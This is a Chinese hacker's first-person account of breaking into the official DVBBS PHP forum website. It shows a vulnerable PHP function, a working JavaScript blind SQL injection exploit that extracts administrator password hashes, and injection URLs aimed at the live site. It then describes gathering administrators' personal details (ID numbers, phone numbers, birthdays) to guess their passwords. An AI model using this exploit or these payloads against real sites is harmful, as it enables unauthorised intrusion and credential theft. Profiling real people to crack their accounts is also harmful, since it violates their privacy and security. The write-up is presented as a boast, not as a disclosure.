入侵DVBBS php官网详细过程(图)
几 个月前,DVBBS php2.0暴了一个可以直接读出管理员密码的sql注入漏洞,当时这个漏洞出来的时候,我看的心痒,怎么还会有这么弱 智的漏洞,DVBBS php2.0这套代码我还没仔细看过,于是5月中旬我down下来粗略看了下,接着我花了三天的时间,拿下p.dvbbs.net,即动网php的官方网 站,并得到了webshell。总的来说,这次入侵凭的是二分技术加一分运气。
一、 SQL注入漏洞:
晚上检查了好久,终于在topicother.php中发现了一处sql注入漏洞,但是并不像前段时间暴的漏洞那么简单,因为不能把密码直接读出数据库并显示出来,这是个活动帖子的报名主函数,我简单搜索了下,1.0好像后来就增加了这个功能。好了,来看具体函数:
function PostActive_Main(){
……
$TopicID = $GLOBALS['id'];
$activeid = trim($_GET['activeid']);//activeid并没有过滤
$timemode = $_POST['payment'];
$systemmode = trim($_POST['contact']);
$message = trim($_POST['message']);
$gettimemode = trim($_POST['timemode']);
$getstarttime = trim($_POST['starttime']);
$getendtime = trim($_POST['endtime']);
$getexpiretime = trim($_POST['expiretime']);
if($timemode ==0)
$costnum = 0;
else
$costnum = intval(trim($_POST['payvalue']));
//直接带进来使用了
if( $query = $db->query("SELECT u1.sex,u1.strength,u2.usersex FROM { $dv }active as u1,{ $dv }user as u2 WHERE activeid={ $activeid }")){
$activeinfo =& $db->fetch_array($query);
if( !empty($activeinfo) ) {
$db->free_result($query);
}
}
if( $num = $db->query("SELECT count(*) as num from { $dv }activeuser where activeid='".$activeid."'")){
$activenum = $db->fetch_array($num);
if( !empty($activenum) ) {
$db->free_result($num);
}
}
…
//如果查取的activeid不正确或者后面注入的条件不成立,则显示显示str1:对不起!本活动报名人数已满!
if($activenum['num']>=$activeinfo['strength']){
head(0,0,0,$arrNavMenu);
showmsg($lang['Active_Error.str1']);
exit;
}
//如果activeid正确(后面注入的条件也成立),但没有登陆,就显示str2:请登陆后操作!
if ($userid==0) {
head(0,0,0,$arrNavMenu);
showmsg($lang['Active_Error.str2']);
exit;
}
…
//如果activeid正确并且已经登陆了,递交的时候没有递交联系方式,则会显示str6这个错误:对不起联系方式不能为空或小于8个字符!
if (''==$systemmode||strlen($systemmode)
首先先确定有没有activeid为1的活动帖子,就是在论坛目录后加上
topicother.php?t=9&action=join&activeid=1
显示“对不起!本活动报名人数已满!”则有可能不存在,自己注册个号进去发个活动帖子先。
根 据上面解释,大家是否已经看出来该怎么注入啦,并不是什么都需要工具的,想当年ACCESS手工注入又不是没注入过,判断条件正确就返回正常,错误就不正 常显示;这里不也是同样的道理么,不管有没登陆,出错都显示:“对不起!本活动报名人数已满!”,如果判断条件正确,没有登陆的话显示:“请登陆后操 作!”,已经登陆了显示:“对不起联系方式不能为空或小于8个字符!”于是当晚我手动测试了一下官方,并成功获得了一个管理员的16位MD5的密码。兴奋 的去睡觉,躺在床上却怎么也睡不着:怎么去更简单的利用呢?一边思考,一边入睡,睡着的时候天都亮了。
5个小时后,睡醒了继续搞,因为没有 开发那种application程序的经验,所以我没想去写个exp工具,但一直手工多麻烦啊,记得以前开发网站的时候用ajax去get或者post数 据并回显的,这里是不是也一样可以?于是自己尝试写,轻轻松松写出个单一判断md5某一位的ajax代码,可是在写循环的时候却出错了,后来flyh4t 上线丢给我一段代码,我参考了一下然后一个可以读任意DVBBS php站点管理员密码的基于页面的Exploit code搞定了(列出主要代码):
function sendCall(i,j,url,w,p) {
if (p=="temp"){ p=url }
//后台密码、用户名、关联的前台用户名
switch(parseInt(w)){
case 0:url = p "/**/and/**/ascii(mid(password," i ",1))=" j ")/**/";break;
case 1:url = p "/**/and/**/ascii(mid(username," i ",1))=" j ")/**/";break;
case 2:url = p "/**/and/**/ascii(mid(adduser," i ",1))=" j ")/**/";break;
//前台密码、用户名
case 3:url = p "/**/and/**/ascii(mid(userpassword," i ",1))=" j ")/**/";break;
case 4:url = p "/**/and/**/ascii(mid(username," i ",1))=" j ")/**/";break;
}
if (window.ActiveXObject) {
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
} else if (window.XMLHttpRequest) {
xmlHttp = new XMLHttpRequest();
//解决FF中跨域问题
try{
netscape.security.PrivilegeManager.enablePrivilege( "UniversalBrowserRead ");
} catch (e) {
alert( "Permission UniversalBrowserRead denied. ");
}
}
xmlHttp.onreadystatechange = function() {
if(xmlHttp.readyState == 4 && xmlHttp.status ==200) {
var str = xmlHttp.responseText;
var md5hash=document.getElementById("md5hash");
if(!str.match(/\u672c\u6d3b\u52a8\u62a5\u540d\u4eba\u6570\u5df2\u6ee1/)) {
pass = String.fromCharCode(j);
md5hash.innerHTML = pass;
j = 48;
i ;
}
else {
if(j == 59&&(parseInt(w)==0||parseInt(w)==3)) { j = 96; }
else { j ; }
}
if(pass.length >= 16) { alert("Exploitation Successfull!. Admin MD5 Hash(or username): " pass); return true; }
sendCall(i,j,url,w,p);
}
}
xmlHttp.open('GET', url, true);
xmlHttp.send(null);
}
工具不支持中文用户名,但支持字母 数字 常用符号组合。
接着就简单啦,先判断下官网后台的管理员人数:
http://p.dvbbs.net/topicother.php?t=9&action=join&activeid=1/**/and/**/10=(select/**/count(*)/**/from/**/dv_admin)
然后判断一下后台管理员id是从多少到多少:
http://p.dvbbs.net/topicother.php?/topicother.php?t=9&action=join&boardid=2&id=1&activeid=1/**/and/**/1=(select/**/count(*)/**/from/**/dv_admin/**/where/**/id=1)
然 后可以根据存在的后台id用工具去暴密码啦,速度还蛮快的,一会我就成功获得了后台所有的md5 password,cmd5.com去跑了下,只能跑出一个,其他不是not found就是要收费。到前台转了下,发现前台可以看到的管理员只有几个,貌似有的后台管理员前台并不显示为管理员,不过我也用工具暴出前台管理员的密 码,留着备用,查了下,也只成功跑出了一个。
由于动网的前台与后台管理员之间有对应关系,因此不能用这个管理的前台密码加上那个管理员的后 台密码去登陆后台,研究了下代码跟数据库,后台表中的adduser这个字段就是相对应的前台密码。可是既然这样,我得到的信息就无法利用,那怎么去获得 一个后台权限呢,md5的存在让注入的光华变的暗淡了,怪不得当初那个漏洞那么简单的可以读密码那些大牛们都没把官方站点拿下,官方站不存在白 痴管理员 啊…
又到下午了,还是没有进展,我在想是放弃还是该怎么继续,去126邮箱翻翻ph4nt0m的一些帖子,我突然想到个方法…
二、 社会工程学:
其 实这是让我洋洋得意的地方,我自我感觉无论什么技术,都没社会工程学来的让人心动,而且只要用用心,社会工程学就可以被演绎的淋漓尽致。但是这段让我非常 兴奋的经历,我还是不能多写,因为这涉及到官方多位管理员的隐私,我只是简单的入侵检测,并不想成为别有用心之人的参考。
简单了说一下:由于adduser是中文的话,我的工具暴不了,但我可以用语句猜测(把adduser十六进制处理下就OK了):
http://p.dvbbs.net/topicother.php?t=9&action=join&activeid=1/**/and/**/1=(select/**/count(*)/**/from/**/dv_admin/**/where/**/adduser=0x............/**/and/**/id=..)
我用..代替省略掉十六进制用户名,后面的ID也省略下。这样,我可以轻松的猜出后台某个ID对应的前台用户名,于是我找了几个管理员作为突破口。
因 为我有前台管理员权限,于是我从前台找了下所有管理员、超级版主以及可以看到的动网团队的人员的信息,并收集归拢到一个txt文件中,然后我去百度跟谷歌 搜索这些管理员的用户名,搜集一些他们平时访问的站点以及留下的信息:生日、身 份 证 号码、QQ号码、电话号码、邮箱等等等,最后根据这些信息根据得到的 md5密码猜测可能存在的密码,终于比昏昏然茫茫然的开始好多了,实在不行的时候,我再跑到DVBBS的ASP论坛去获取相关的信息,终于到最后一个下午 的努力没有白费,我在晚上拿下了DVBBS php官方网站的后台:
异常兴奋,我给flyh4t截了个图宣扬了下战果,然后跑到ph4nt0m发了个帖子告诉大家社会工程学的伟大(结果被众大牛牛们鄙视了…寒)
相关文章
- CC主要是用来攻击页面的,大家都有这样的经历,就是在访问论坛时,如果这个论坛比较大,访问的人比较多,打开页面的速度会比较慢,对不?!一般来说,访问的人越多,论坛的页2024-01-06
- 入侵者主要通过Potato程序攻击拥有SYSTEM权限的端口伪造网络身份认证过程,利用NTLM重放机制骗取SYSTEM身份令牌,最终取得系统权限,该安全风险微软并不认为存在漏洞,所以2021-04-15
- 这篇文章主要介绍了文件上传漏洞全面渗透分析小结,这里主要为大家分享一下防御方法,需要的朋友可以参考下2021-03-21
- 这篇文章主要介绍了sql手工注入语句&SQL手工注入大全,需要的朋友可以参考下2017-09-06
- 这篇文章主要介绍了详解Filezilla server 提权,需要的朋友可以参考下2017-05-13
FileZilla Server 2008 x64 提权与防御方法
这篇文章主要介绍了FileZilla Server 2008 x64 提权与防御方法,需要的朋友可以参考下2017-05-13- 不久之前我们说过关于http和https的区别,对于加密的https,我们一直认为它是相对安全的,可今天要讲的是,一种绕过HTTPS加密得到明文信息的web攻击方式,不知道这消息对你2016-08-10
iPhone和Mac也会被黑 一条iMessage密码可能就被盗了
一直以来苹果系统的安全性都是比安卓要高的,但是再安全的系统也免不了漏洞,苹果也一样。最近爆出的新漏洞,只需要接收一条多媒体信息或者iMessage就会导致用户信息泄露。2016-07-27- 国家正在修正关于黑客方面的法律法规,有一条震惊黑客圈的“世纪佳缘”起诉白帽黑客事件,深深的伤害了广大黑客们的心,加上扎克伯格和特拉维斯·卡兰尼克账号被盗,于是黑2016-07-11
如何逆向破解HawkEye keylogger键盘记录器进入攻击者邮箱
面对恶意邮件攻击,我们就只能默默忍受被他攻击,连自我保护能力都没有谈什么反抗?让人痛快的是,如今有了解决办法,逆向破解键盘记录器,进入攻击者邮箱2016-07-06
最新评论